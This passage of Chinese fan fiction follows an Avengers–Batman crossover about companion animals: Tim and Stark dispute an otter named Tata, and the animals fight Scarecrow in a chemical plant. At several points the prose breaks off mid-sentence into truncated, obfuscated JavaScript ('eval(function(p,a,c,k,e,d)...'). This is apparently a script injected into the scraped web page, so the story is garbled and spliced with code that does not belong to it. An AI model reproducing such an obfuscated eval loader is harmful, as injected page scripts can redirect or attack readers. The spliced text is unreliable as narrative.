提姆也在一些险情中救过小动物，它们往往惊慌失措，并不知道如何在非自然的灾难中求生，当人类去营救它们，它们只知道躲避、逃跑以及拼死反抗。 提姆在一次帮助猫咪时被挠了一脸血后就知道了。 救小动物的时候一定要准备好防御，以及限制对方的手段。 它们什么都不知道，不懂人类的复杂，有可能以前被其他人伤害过所以害怕人类，也有可能是被眼前的危险给吓疯了。 这时候它们所有的反抗都是出自本能反应，是为了生存，所以不择手段。 为了不被小动物误伤，提姆要做好准备。 当塔塔一脸懵逼的被拉到提姆边上，在一个提姆能抓住塔塔，而塔塔小胳膊小腿够不到提姆的距离，这个人类飞速出手，一把抓住了塔塔的后脖子。 塔塔：OAO？ 提姆：……？ 他的手，带着防滑手套的手…… 就这么滑掉了。 从水獭肉嘟嘟的后脖颈上。 这时候提姆才反应过来，他面前的这只水獭虽然体型看起来没有特别的大，可却是真的好圆润，没有一点水分的那种圆润。 圆润到在后脖子上都揪不出一块皮来给人捏住。 “……”不是，这是水獭不是海豹吧？？？ 提姆试图再试一次，塔塔却不干了。 从塔塔诞生至今，接触过的人类从斯塔克大厦的员工、守卫到街边偶遇的路人，算起来少说也有好几十个，数下来也就彼得、斯塔克、史蒂夫、巴基、巴顿、娜塔莎这六个人能在和塔塔对视选择对塔塔的诉求视而不见。 而他们的特点非常明显——他们都有自己的伴生小动物。 他们都有它们的陪伴。 “嘤？”你也有小动物么？ “嘤嘤嘤？”你能听懂我说话么？ 提姆：“能。” 所以果然是伴生动物。 拥有伴生动物的人能听懂伴生动物讲话，无论那是不是自己孵化出来的。 提姆：“所以你到我这边来，那里太危险了。” “嘤？”你是在保护塔塔么？ “对。”提姆坚强的说。 这也不算撒谎，提姆想着，他会保护好小水獭的，哥谭的街道对一只水獭来说实在是太危险了，而自己只是想带它回到室内而已。 蝙蝠家那祖传的灵活道德底线和良心值在这一刻发挥了它应有的作用，提姆的心肝如钢铁般坚硬！ 小水獭依然懵懵懂懂。 它还从没有接触过复仇者联盟那一批人以外的特殊人类呢。 这时，近在咫尺的爆炸声突然响起。 超市里面不仅还有炸药，而是数量惊人，冲出来的浓烟和爆炸的余波涌上街道，提姆蹲下身体，将塔塔抱在怀里，用斗篷仔细的裹住，帮它挡住那些呛鼻的烟尘。 塔塔张大了眼睛。 这个人类真的在保护塔塔哎。 他是个好人！ 塔塔啪叽一下抱在提姆的小腿上，给了他一个爱的抱抱。 刚刚降落的斯塔克看到的就是这一幕，斯塔克顿时被气得呼吸不畅，这傻孩子脖子上套索都还没解呢就在给水獭贩子数钱！ 蝙蝠家的人也是无耻。 居然拐骗小水獭。 “拐骗小孩已经不能满足你了，是吧？” 斯塔克磨着牙，对着提姆身后的阴影咬牙切齿的问。 他可不是卑鄙的蝙蝠家，斯塔克会找和自己一样大的那个去挑战，所以他越过了提姆，直接问到刚下摩托的蝙蝠侠的脸上。 并希望AI崽懂点事，微调一下外放的声音，让自己说话的声线更低一点，听起来也更凶一些，最好是能比那货更沙哑，更像是黑夜里的恶魔。 蝙蝠侠站在街角墙边的阴影范围内。 蝙蝠摩托就在他身后，因为过度加速而产生着高温，蝙蝠侠没有关闭它，发动机运转的微弱声音让它看起来像是潜伏在阴影里的恶鬼。 斯塔克可不怕什么哥谭的恐怖传说。 他指了指提姆怀里抱着的水獭：“我的，交出来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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塔塔却不听话。 它们这一窝本来就不是听话宝宝，不然也不会史蒂夫的金毛多纳滋负责开冰箱，巴基的金丝熊帕夫负责推出蛋糕，然后连鹰眼巴顿的红隼哈瑞肯和娜塔莎的小黑寡妇都过来凑热闹，大家一起快乐的分享“战利品”。 提姆的限制只会激起小可爱的叛逆心。 塔塔甚至给了提姆一口。 它可会咬人了，塔塔自豪的表示，这一口保证不轻不重的，牙齿隔着战术手套在提姆手上留下足够强烈的痛感，足以迫使提姆放手，却又不会让他受伤。 本来提姆就没有抱的特别紧，加上塔塔刚才又乖又萌的模样让提姆大意，这一口下来提姆直接脱手，被塔塔跑了出去。 水獭从提姆身上滑落到地面，又跟一片滑板似的，嗖嗖的就蹿到斯塔克的脚边。 “嗯？” 斯塔克低头看娃。 塔塔顺着他的裤腿爬上去，往他脖子上一盘。 耶~ 水獭保暖围脖。 生物恒温，好看保暖还好撸哦！ 6. 第六章 “我以为你的伴生动物是只猫。” “它是一只猫，而且……什么伴生动物？” “它们。” “哦，好吧，你给它们建了个档。” 斯塔克自己给这些小可爱建的档案名是“甜甜圈盗窃者”，不过这个就没有必要同老蝙蝠分享了。 “这是睡衣宝宝的伴生。”斯塔克指了指肩膀上的小水獭。 睡衣宝宝。 提姆思考着，那好像是个……跟自己一样大的年轻人。 斯塔克当然不会在任何公共场合将18岁的彼得·帕克或者蜘蛛侠叫成“睡衣宝宝”，却也不想在不安全的地方直接将水獭和蜘蛛侠又或者彼得·帕克联系在一起，尤其是哥谭，这里的不法之徒太多，他们还不知道伴生动物和孵化者之间会不会有什么特殊牵连，万事都该额外的小心。 睡衣宝宝更像是个安全词。 他用了这个词，蝙蝠侠除了知道是在说彼得以外，也知道斯塔克打算隐瞒这一套互相之间的关系状态。 他一点都不想在这里谈。 蝙蝠侠微微颔首，表示了明白。 一辆蝙蝠车将在5分钟后到达，等待期间蝙蝠侠要去处理大超市里爆炸案的后续问题，连续爆炸会带走大量的证据。 对于哥谭来说，这点困境不值一提。 蝙蝠侠就和提姆分工干活，在蝙蝠车到达之前他们收拾好了附近能找到的各种痕迹，打包分装，作为可疑线索存档，另一头迪克则下载了需要的监控录像，准备挨个对比排查形迹可疑人员及各种载具。 这些信息当时就能同步到蝙蝠侠和提姆的护腕上。 “查车就可以了吧？”斯塔克在围观，蝙蝠侠没有背着他，他就大方的探头看，“为什么自行车和行人你也要查？他们能带多少炸药进来？” 蝙蝠侠拒绝理他。 然后斯塔克自己反应过来了。 这里是哥谭嘛。 有人少量多次的将炸药带入指定地点，现场组装爆破的，有人分次带入原材料和工具，然后现场组装爆破的，有人带入原材料的原材料…… 除非糖和面粉也能消失，否则哥谭永远会有爆炸。 当然，就算消失了也没有用。 糖和面粉没有做错任何事。 爆炸本来就是人类自己的问题。 斯塔克看向星空，突然觉得蝙蝠侠也不容易。 然后他们上了蝙蝠车，一边往蝙蝠洞开，一边沟通塔塔的问题。 诞生的第一天，没有任何问题。 除了睡得迷迷糊糊的彼得在被窝里突然蹬到一团毛茸茸又有些凉意的东西，受惊之下战斗本能反射，直接跳上天花板，并用被子将那团不明物体用力一裹，缠紧后用蛛网将其一同粘在墙上。 然后惊魂未定的彼得才开始考虑那到底是什么。 鉴于当时复仇者联盟中已经有史蒂夫、巴基、巴顿、娜塔莎足足四个人先后从自己的被窝里掏出一只毛茸茸的小动物。 彼得很快就意识到，那大概是他的小伙伴。 然后彼得开始手忙脚乱的拯救被子和被子里的小可爱。 当水獭的小脑袋从被子里冒出来的瞬间，塔塔也说出了它獭生的第一句话。 “嘤嘤嘤？？？！” 哪里？！哪里有敌人？！ 塔塔跳了出来，从彼得怀里向下，顺着裤子一路滑到地板上，然后果断举起了自己的小拳头。 “嘤叽——！” 我来保护你——！ 彼得看着拦在自己前面，不知道该对着门还是对着窗户警觉的，忙得团团转的小水獭，情绪瞬间暖洋洋的，忍不住笑出了声。 “孵化它们的那一天实在是太美妙了，不是么？” 斯塔克自己也有伴生动物，他知道那到底有多棒。 蝙蝠侠哼了哼。 斯塔克不知道的是，蝙蝠侠并不认同他的说法，因为他的伴生动物是……蝙蝠侠的伴生动物。 虽然那确实也是毛茸茸啦。 却跟“小可爱”这个词没什么正面联系。 那个阴森的，恐怖的，让人远远看着就会心脏发颤的东西…… 塔塔在蝙蝠洞里，第一次见到了那……怪物。 漆黑的，融入黑影里的，黑色。 “黑”。 这就是它的名字。 他们直接叫他布莱克。 塔塔刚从斯塔克的脖子上滑下去，才落地呢，整只獭都被盯得硬在了原地。 小水獭在它的眼中不过是一口一个的开胃零食罢了。 斯塔克看着那东西，都是一愣 “别的也就算了，这么大的东西是怎么塞进你的被窝的？”斯塔克真的好在意这个。 为什么都是猫科 他的是小巧可爱的秀珍杀手锈斑猫。 而这货的却是一只纯黑色的……这是美洲豹对吧？ 蝙蝠侠依然只是哼了哼，这问题太简单了，当斯塔克非要个答案的时候，蝙蝠侠也只是用理所应当的口气说： “我床够大。” 斯塔克：“……” 斯塔克默默在内心骂骂咧咧，并决定不跟小孩子计较，只嘟囔着些什么“蝙蝠不是犬科的？”和“为什么这货能孵出猫科”之类的话。 于是，这次轮到蝙蝠侠不跟小孩计较，坚定的保持沉默。 “嘤……”塔塔不是食物哦…… 塔塔舞动着前爪，挥舞拳头似的，向布莱克发出警告。 超级、凶！ 布莱克：…… 黑色美洲豹没忍住，哼笑出声。 这么个连塞牙都不够的玩意，我也不吃。 明明布莱克没有发出声音，塔塔还是感觉到了对方的想法。 被嫌弃的水獭呆住了。 它向来是人见人爱、花见花开的，从没想过来到蝙蝠洞后自己居然被嫌弃了！当食物都被嫌弃了！ “嘤……？”你不喜欢塔塔么？ 塔塔不可思议的问。 布莱克看着这只水獭，它面无表情，眼睛里透着天然的残暴和凶狠，任何人或者动物都无法从那样一双眼睛里看出布莱克的心思，更不知道此时这只黑色的大美洲豹已经脑子死机，它不明白为什么水獭要在意这件事情，尤其是水獭在意的这个点…… 看，你的开胃点心在那哭唧唧的问你：我不够好吃吗？ 好怪…… 布莱克解释不清楚这种奇怪的感觉，它本就话少，几乎不会发出声音，所以它只是从栖身的阴影中走出来，来到塔塔面前，然后张开了嘴。 怎么喜欢？ 用这张嘴来吃掉你？ 黑色美洲豹的血盆大口仿佛在问：我可以吃掉你么？ 一口吞掉，骨头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还没，它才出生三天的时间呢。”迪克放下老管家准备的热茶，还有一些饼干点心，并遗憾的告诉蝙蝠侠和斯塔克，“没有咖啡，因为蝙蝠已经三天没睡觉了。” 斯塔克点了点头，表示自己懂了。 蝙蝠侠则非常不想说话。 睡什么觉，人为什么要睡觉，爆炸嫌疑犯还没有找到，他为什么要去睡觉。 斯塔克则在想别的事情。 看看，这就是蝙蝠家，才出生三天的宝宝居然要上班干活，还是夜班！ 三天啊，三天的塔塔还在婴儿床里呢！ 此时的斯塔克是一点都想不起来，他那出生也才一周的锈斑猫已经可以打开斯塔克大厦的电子锁，带着一众小动物集体越狱了。 斯塔克暂时留在蝙蝠洞里，他在其他复仇者名单中挑挑拣拣，最后选择给班纳博士打过去，电话里简单说一下塔塔已经找到，以及今晚自己不回去了，其他小动物还没找到呢，估计都在哥谭里瞎浪。 班纳：“……为什么找我说这个？？？” 他又没有孵出小动物。 “哦，因为你不会对我说教。”斯塔克理直气壮。 班纳：…… 班纳选择摘下眼镜揉了揉眉心，内心说服自己不气不气，气出绿巨人来砸坏斯塔克大厦他是真的赔不起。 7. 第七章 “班纳？你还好吗？” 这是娜塔莎的声音。 “没事。”电话已经挂断了，班纳内心一阵谢天谢地，告诉娜塔莎刚才是斯塔克的电话，以及电话的内容。 “……” 听完班纳的转述，娜塔莎也是一阵头疼。 “如果我们也进入哥谭去搜索小动物，你觉得蝙蝠侠会允许吗？”娜塔莎回头去问身后跟过来的巴顿。 巴顿哪里知道，怂了一下肩膀。 他是所有人中最不着急的，他的红隼哈瑞肯孵化出来后就是个闲不住的性格，天生自带好爸爸气场，喜欢到处照顾崽子，又皮的不行，早就丢过好几次了。 对巴顿来说，哈瑞肯丢了根本不用找，估计是去帮野生斑鸠做窝去了吧。 与此同时，血雀已经飞到了化工厂的上方。 它就是夜空里最璀璨的那枚红宝石，耀眼夺目，也吸引着捕猎者的注意力。 哈瑞肯在更高的位置跟随。 本来要去被轰炸了的大型超市的血雀中途突然改变道路，往这么远的地方飞过来，哈瑞肯感觉这里肯定有危险，就一直在它后面跟着。 两只鸟一前一后落在化工厂的房顶。 这座化工厂已经废弃了，上一次有人造访，还是哥谭的超级反派稻草人在利用这里做他心爱的恐怖毒气，在经过爆炸、烧烤和藤蔓入侵后，这里被抛弃，蝙蝠家又在这里拿到了样本，制作出相应的抑制剂，和解药，这才彻底解决稻草人和恐惧毒气对哥谭的统治。 不过那都是很早之前的事情了，那时候血雀还没有诞生呢。 那时候世界上还没有一只伴生小动物诞生呢。 血雀喜欢哥谭的黑夜，在快乐的理着毛。 哈瑞肯落地后就不怎么动弹了。 隼类在夜里很容易直接变成睁眼瞎，成为猫头鹰之类的夜间猛禽的捕猎对象，还有可能被鼬、蛇等夜行动物掏窝。 哈瑞肯比普通的隼强一点，它能在夜空中正常起飞降落，不至于一头撞电线杆上。 却也仅限如此了。 好黑。 好在血雀的颜色足够红艳，像是黑暗绒布上托着的红宝石。 不然哈瑞肯早就跟丢了。 哈瑞肯收起翅膀，晃了晃脑袋。 它怎么又把自己会夜盲这事情给忘了呢。 见鬼。 也许是看到哈瑞肯无精打采的，血雀蹦跶到它边上。 “叽叽啾？”你怎么不跟了？既然已经跟到这里了，继续跟着我吧。 血雀早就知道哈瑞肯一直跟着自己，红隼虽然可以无声御风前行，可血雀在哥谭危险的夜色中学到了更多。 这么近的距离哈瑞肯还是能看见小血雀的。 “啾？”那你要去哪呢？ 哈瑞肯垂着个脑袋，无精打采的问血雀，看它摇头晃脑非常活泼的样子，哈瑞肯先是疑惑，然后更深的迷茫，最后有些混乱了。 “啾、啾啾？”你、你怎么不会夜盲？ 都是鸟，这是血雀啊，又不是猫头鹰！它怎么不会夜盲？ 血雀歪着脑袋，十分无辜了：“啾啾？”我和我的小弟弟都没有夜盲哦。 “啾？”你的小弟弟？ “叽啾~”它是一只快乐热情的蓝色极乐鸟~ 为什么都是鸟类，都是伴生动物，它们就不会夜盲，自己却会呢？虽然哈瑞肯也知道自己的情况比自然界中的普通鸟类好了很多，至少它只是略瞎。 这样想着，哈瑞肯再次振作起来。 在黑夜它能看清楚的距离是100米，已经是很好的成绩了。 红隼抖了抖翅膀，精神起来，血雀一歪脑袋，见它似乎又有了干劲，就带着它往化工厂墙上的一处小盒子里飞。 这里的“小盒子”等于“通风口”。 哥谭的鸟和哥谭人一样，都对家里的通风系统情有独钟呢。 只是在通风管道中移动起来有些困难，无法飞行的鸟类还算鸟类吗？哈瑞肯看着前方的血雀蹦蹦跳跳十分快乐的模样，再看看自己举步维艰，只能迈着外八字的爪子艰难前进，不由得感叹，鸟和鸟也是不一样的。 在行走方面，鹰隼类是完全比不上活泼的雀科。 哈瑞肯继续迈着看似很拽其实十分痛苦的外八字往前哒哒哒，走两步还要被血雀嫌弃的瞥上一眼，心里别提多郁闷了。 孵化它的人可是著名的超级英雄，鹰眼，不仅是超级英雄，还是个超级棒的特工！ 它当然知道隐匿的重要性！ 可是！ 你真的不能指望一只标准体重的隼踩在金属上不会咚咚响啊！ 而且，雀科能那么轻巧的无声移动，也不是因为它们在走路这项技能上有多完美的造诣，纯粹是靠着体型轻盈，再怎么蹦跶都发不出多少动静！ 这该死的不公平。 哈瑞肯苦大仇深的努力放轻脚步。 更正，是爪步。 两只鸟类悄悄从通风管进入化工厂内部，与此同时，在化工厂一处后门的门口前方，两只狗相遇了。 金毛多纳滋一路追赶而来，它跟踪的不是气味，而是哈瑞肯本身。 塔塔有特殊能力。 多纳滋当然也有自己的非同寻常之处。 伴生动物没有一只是单纯而简单的存在，只是人类尚不了解它们，而它们对自身的了解也十分的有限。 虽然它们能和孵化者沟通，却也从未想过，自己这些生来就有的东西有什么特别之处，不过是如吃饭喝水这样稍加练习就能熟练掌握的日常能力罢了，朴实无华，不值一提，自然也就想不起来要将此事告知自己的孵化者。 对于多纳滋来说，从因果的维度来追踪一个目标的存在本身，是理所应当的事情，就像普通的狗用鼻子去嗅闻周围的味道来收集信息一样。 它甚至没有意识到，它的嗅觉带来的信息有多么的非同寻常。 “汪。” 多纳滋对着面前的捷克狼犬叫了一声。 有着漂亮棕红色背毛的捷克狼犬堵在后门口，而多纳滋的嗅觉告诉它，哈瑞肯不久后就会出现在这里。 它得拿到这扇门的所有权。 但捷克狼犬不打算退步，它的尾巴半翘，左右摇晃，不是示好，更像是一种预备战斗的兴奋状态。 多纳滋也不害怕。 作为水猎犬，在水泥地上和捷克狼犬对战，对于多纳滋来说并不容易。 多纳滋是甜甜圈啊！ 它很清楚自己的情况，作为一只体重超标的大骨架金毛，这就意味着它在体重上有绝对的优势。 至于胖了点。 拜托。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这里是我标定的地盘，闲狗勿近。 这可怎么办呢？ 金毛抬了一下单侧的耳朵，索性一屁股坐下来。 不过去，但也不离开。 这就不算是自己入侵了它的地盘吧？金毛想了想，觉得这个逻辑没有问题，于是又轻微的摆了两下尾巴，表达一下互不侵犯的善意。 捷克狼犬沉默以对。 这只外地汪…… 真的很有想法啊…… 捷克狼犬也一屁股坐了下来。 反正还有时间，先耗着吧。 对动物来说，战斗总体来说还是亏本的，别的不说，受伤感染的可能性就让战斗成了最下等的选择。 就算赢了又怎么样？ 受伤意味着流血，意味着感染的可能性，血味会吸引敌人，感染会招致死亡。 就算赢了，还是难免最终的失败。 正是因为明白这一点，两只狗维持住了表面的和平。 只是捷克狼犬并未注意到，有一只金丝熊悄悄地从金毛身上滑落，因为染满了金毛气味而从捷克狼犬的嗅觉感官中被过滤，捷克狼犬没有发现那只小东西。 帕夫成功从墙角的小缝中钻入荒废的化工厂。 8. 第八章 金丝熊的体型在鼠类中算是较大的，手小一点的一个巴掌可能抓不稳一只金丝熊，正脸看人的时候呆呆的仿佛带了点天然的笑意，加上帕夫又是长毛款，一身银灰色皮毛被打理的油光水滑、额外整齐，看起来颇有魅力。 当然，力气也不小。 钻进墙缝后帕夫顺利进入到化工厂内部，这里说是后门，却不知道是做什么用的，又窄又小，连着的走道也十分破旧。 化工厂丢弃垃圾有专门通道，而且工厂日产废物量向来惊人，这么小的口，做垃圾口完全不够，也无法作为应急通道。 倒像是专门弄来做非法交易的。 哥谭的不少建筑都有这种小小的后门，一些员工从这种门走出来抽烟，一些特殊的人会从这种门悄然无息的进入建筑内。 帕夫不是哥谭的动物，它不知道这在哥谭本就是个普遍现象。 它只觉得这条走道额外的阴森，充满了犯罪的味道。 这样的走道、那样的走道、各种各样的小房间、空旷的大厅、放了好多奇怪东西的巨大房间。 帕夫在那个巨大的房间里找到了哈瑞肯和那只哥谭的小血雀。 也许是因为下方有好多化学池子，两只鸟都飞的特别高，盘旋，扑击，协同作战，共同进攻一名人类。 那是个…… 带着麻布头套的……什么东西。 那东西对着哈瑞肯和血雀掷出装着某种黄色液体的小瓶子，瓶子在半空中释放出大量黄色浓雾，哈瑞肯猛地拉升高度，随后拍打翅膀，在室内凭空卷起阵阵飓风，直接将这层浓雾卷在其中，强风震碎了玻璃，黄色雾气也被它吹散了。 稻草人显然没想到自己不过是在阿卡姆休了一个月的假期而已，一转眼回来，哥谭的红隼都有技能了？ 这是集体进化没带上自己吗？ 当然了，哥谭的红隼不会技能，哈瑞肯也不是哥谭的红隼。 以及……稻草人抱怨的也没什么错，这世界确实进化了，也确实没有带上他。 仿佛什么都知道的血雀发出愉快的啾鸣。 “啾啾~”打完他我们去炸他的气体储存罐。 血雀是知道这里地图的，不过在那之前，它们还需要搞定稻草人。 这工作对于两只小鸟来说还是太有挑战性了，它们在此忙碌许久，除了自己气喘吁吁，也把稻草人折腾的气喘吁吁之外，再没有其他进展。 “啾——”不然我们累死他吧—— 哈瑞肯再次拍打翅膀。 威严动听的鹰鸣其实是哈瑞肯在抱怨。 这样拍打翅膀真的好累，但它扇出的飓风让这头套麻袋的怪人无法使用那种黄呼呼的臭气，还能卷的对方站立不稳。 为了不被飓风刮走，稻草人也要拼尽全力，自然是少不了体力的消耗。 哈瑞肯掂量着自己的体力，再对比一下那怪人瘦弱的身形。 它觉得它可以。 哈瑞肯可是一只可以同鹰眼对战，还能追着神盾局的战斗机从这个城市一口气飞到远方的特殊红隼哦！ “啾啾~”话说，帕夫，我看到你了哦。 哈瑞肯对着下方墙角的位置叫唤。 顺着哈瑞肯的视线，血雀也看到了那只金丝熊。 “帕夫？怎么会有人把自己的伴生动物叫做泡芙的？” 血雀听到自己随身携带的通讯系统中传来自己孵化者的自言自语，此时通讯器的对面似乎还有其他人在，提姆正在和他们说话。 “帕夫，对，它是只金丝熊，我在用血雀的眼睛看呢。” “我的天，这孩子才出生多久，你就给它上了全套的装备？我看看，超远程定位、整套的通讯系统、同步影像的鸟类专用特制隐形眼镜……” “嘿，这算是雇佣童工吗？” 斯塔克在问蝙蝠侠。 蝙蝠侠告诉他：“如果它想在哥谭的夜晚活动，它就需要这些。” “所以是你强迫它们佩戴的。” “它们没有反对。” “……” 斯塔克默默吸了一口冷气。 “别指望我答应把塔塔留给你。” “……” 正趴在布莱克脑袋上的塔塔：？？？ “嘤叽？”怎么？ 正趴在那生无可恋的布莱克也抬起了脑袋，用一种冷漠而带着少许蔑视的神情看向斯塔克，那眼底仿佛还有一丝因强者无畏而产生的慵懒。 斯塔克看看凶恶的黑色美洲豹，再想想自己家的锈斑猫，还有呆萌款的塔塔，内心不由得叹了口气。 都是伴生动物，怎么差距这么大呢？ 还好，我家塔塔更可爱。 蝙蝠侠向提姆示意。 提姆对着麦克说：“化工厂的任务结束后把它们带来蝙蝠洞吧，如果它们想跑，你就告诉它们，‘塔塔在我们这里’。” 血雀快乐的回应自己的孵化者：“叽啾~”这听起来像是个绑架，不过我喜欢~ 这话让提姆头疼。 该死的红头罩，自从血雀和他的那只捷克狼犬合作过两次之后整只血雀都学坏了，原来多乖一个宝宝，现在甚至会说脏话。 前两天提姆无比清晰的听到了自己家血雀说了一句“Fuck”！ 后来小家伙注意到提姆找红头罩火拼，大概意识到是那句“Fuck”惹的祸，从那之后血雀就额外注意，绝对不在提姆的通讯收听范围内说脏话。 可这依然改变不了提姆已经记下的关于红头罩的狗带坏自己家崽的黑账。 对此，红头罩表示：来啊，谁怕谁！ 是捷克狼犬会打不过一只没有巴掌大的小血雀，还是身为红头罩的他会打不过提姆·AKA红罗宾·德雷克？ 想到对方那副挑衅的模样，提姆默默磨了磨牙。 磨牙的同时他也没忘记切换线路，联系还在后门等待的捷克狼犬：“刻耳柏洛斯，见鬼这名字真的好长……我们还是叫它大红吧。大红，小红它们先一步遇到了稻草人，现在还没脱身，暂时不会来帮你开门了。” 在提姆口中，大红是杰森的伴生动物捷克狼犬。 小红则是他自己的伴生动物血雀。 等于是他们俩将自己的昵称交给自己的伴生动物当名字。 家里的大哥迪克认为这很浪漫，四弟达米安则觉得这两个名字都丑到让人想要哭泣。 不过大小红是真的喜欢。 发音简单容易理解的名字对动物来说就是好名字。 和大小红相比，“刻耳柏洛斯”复杂到让汪脑壳痛，明明在人类开口之前它就知道人类要叫它了，还得默默等人类将那一串发音读完…… 那才真的叫做煎熬啊。 “大红，现在按我说的走，我找到几处破损的窗户，都在化工厂背面的一楼顶部，以你的跳跃能力应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这次捷克狼犬发出一声微弱的“吭”。 提姆：“……行吧，算你有回复。” 对于高冷的捷克狼犬来说，能给个“吭”已经算是很给面子了。 它昂头看向高高的窗户，准备好蓄力。 多纳滋也在看那扇小窗户。 它其实不小，真的不小，是足够一只人类将自己的身体探出来的那种窗户。 可它对于多纳滋来说…… 太小了。 尤其是这个距离和高度…… 多纳滋昂头看了看那扇窗户，然后低头看了看自己厚实的爪子。 瞄不准，而且根本上不去。 “汪？”你要……跳上去吗？ 多纳滋对着捷克狼犬轻轻叫了一声。 你这家伙，真的是狗吗？这个高度锈斑猫都没办法凭空跳上去。 捷克狼犬从对方的叫声中听出不可思议的味道，又从鼻腔里哼出一声，带着点骄傲和小小的嘚瑟，它俯身蓄力，然后猛地向前冲出去。 前爪向上送力，后爪再补一次推进。 捷克狼犬矫健如猎豹的身体在空中舒展开，最大限度的拉直，前爪勾住墙面带着身体挂在墙上，后爪跟着踩住墙体，用力一蹬！ 它去了12米的高度。 对于一只没有翅膀的犬科生物来说，那就是高空。 ** 6、伴生动物可以感知孵化者的身体状态和精神状态，哪怕他们之间距离超远。 9. 第九章 大红蹬着后爪将自己塞进窗户，又从高空一跃而下，扑入恐惧毒气的范围内，这时候毒气的浓度其实已经很弱了，但大红作为犬科嗅觉更敏锐和难免有些脆弱，毒气的味道对它来说实在是太臭，落地后就忍不住狠狠打了两个喷嚏。 再一抬头，就看见两个脑袋上裹着麻袋的精神病看着自己。 也许是因为这里有大量化学池的缘故，两人没有持枪，而是拿着撬棍和金属球棒这样的钝器，他们从未想过有一天会亲眼看见一只捷克狼犬从天而降，一时之间都愣在原地。 他们愣住了，大红可没有愣住，立刻向他们冲出去。 “啾——” 血雀的鸣叫声从隔壁传过来，因为金属的隔音能力比较好，那声音十分微弱，大红摆动着狼耳朵，很快锁定对方的大致方向。 捷克狼犬放倒了两名人类，随后从侧面的偏门跑了出去。 “汪。”臭死了。 大红少有的主动抱怨。 内线里立刻传来提姆的安慰：“回来给你洗澡，你先别去红头罩那边，过来我这里吧，我和达米安一起做了种完全无味的洗毛剂，很适合你哦。” 大红呜了一声：他在听。 大红身上佩戴的是提姆提供的通讯设备，但不等于能进入这线路的只有提姆。 提姆：…… 果然，内线里紧跟着响起了来自红头罩的警告：“休想诱拐我的狗。” 提姆立刻反驳：“我没有，我还没跟你算账呢。” “我？什么账？” “小红学了不少F开头的单词，你猜它是跟谁学的？” “……” 红头罩切出了蝙蝠家的内线，并假装自己刚才没有入侵进来。 是的，红头罩其实不在蝙蝠家的联络体系中，他单飞有几年了，几乎和家里的大哥迪克离开的时间一样长，可迪克是会时不时回来的。 而红头罩，这家里的老二，名叫杰森·陶德的人，他不会回来，也回不来。 他不在蝙蝠家的通讯体系内部，那里没有属于他的号，却有一个特殊的后门，当杰森自己想来看一眼的时候，他随时可以进来。 为了防止旁听的钢铁侠误会蝙蝠系统的强悍程度，提姆专门为对方做了个说明。 后门是特地留的，使用者仅限于红头罩。 “好复杂的关系。”斯塔克是这么评价的。 蝙蝠侠没吭声。 他脚边趴着懒洋洋的布莱克，布莱克头顶上趴着好奇听八卦的塔塔，刚才它们在蝙蝠洞里溜达了一圈，极大的满足了塔塔的探索欲，现在玩累了的水獭就在黑美洲豹头顶上休息。 此时塔塔昂起脑袋：“嘤？”这什么区别吗？ “嗯？”斯塔克撸了一把塔塔的脑壳：“什么区别？” “嘤嘤？”既然他随时可以进来，那不就等于他也在这里吗？这和普通的输入账号密码然后登陆，有什么不同么？不都一样么？ 塔塔不理解。 它对系统和程序的知识都来自锈斑猫的教学，仅限于登个账号看个动物世界什么的。 此时为了闹明白提姆在说什么，塔塔的脑子都快冒烟了。 提姆还从没试图教一只水獭理解这么复杂的事情。 他看向蝙蝠侠。 蝙蝠侠是有意试探伴生动物的智力程度的，自然不会反对。 得到肯定回答的提姆开始绞尽脑汁的试着解释。 “从结果上来说，确实，它们基本是一致的，但从技术层面来说，却又是完全不同的。这是……合法和不合法的区别，能懂吗？” 塔塔昂着脑袋，嘴巴略微张开一点，成一个小小的A型。 它不懂。 清澈的呆萌写在了脸上。 不需要任何说明，在场的所有人都知道，它不懂。 布莱克为此发出一声哼笑。 塔塔低下头，两只小爪子扒在布莱克的眉骨处，脑袋往下探着，看着大黑美洲豹。 “嘤。”你在笑我。 布莱克：…… 布莱克选择扭开脑袋。 人类之间复杂的关系与情感和动物们无关，它们的关系更加纯粹，不是捕食关系，也没有利益冲突，那就可以在一起趴趴。 就像布莱克和塔塔这样。 它们两只今天才第一次见面，之间的关系当然没有多好，只是不差而已。 不差，那对于它们来说已经足够了。 能放进地盘的就是同伴，不是吗？ …… ………… 捷克狼犬打倒7人。 血雀打倒3人。 隔壁纽约来的红隼哈瑞肯打倒5人。 这计算的是它们独立完成的“击杀”人数，至于协作战斗的部分，提姆另做了一份统计出来。 血雀和捷克狼犬合作战胜3人。 血雀和哈瑞肯合作战胜6人。 这座化工厂体量不小，里面正经藏了不少敌人。 “刚才和大红一起等待的那只金毛寻回犬，好像也找到办法钻进化工厂了。” 提姆继续汇报进度。 “帕夫呢？”斯塔克问。 “……”提姆在一堆数据和监控影像中寻找，“没有线索。” 刚才和血雀、哈瑞肯短短的碰面后帕夫就失去了踪迹。 斯塔克头疼的揉了揉额角。 他和帕夫的孵化者关系并不好，可以说是有些糟糕的，只是大家都是成年人，又刚好要一起维护世界和平，作为同事姑且能维持表面的一份宁静罢了。 但这并不妨碍斯塔克还挺喜欢帕夫的。 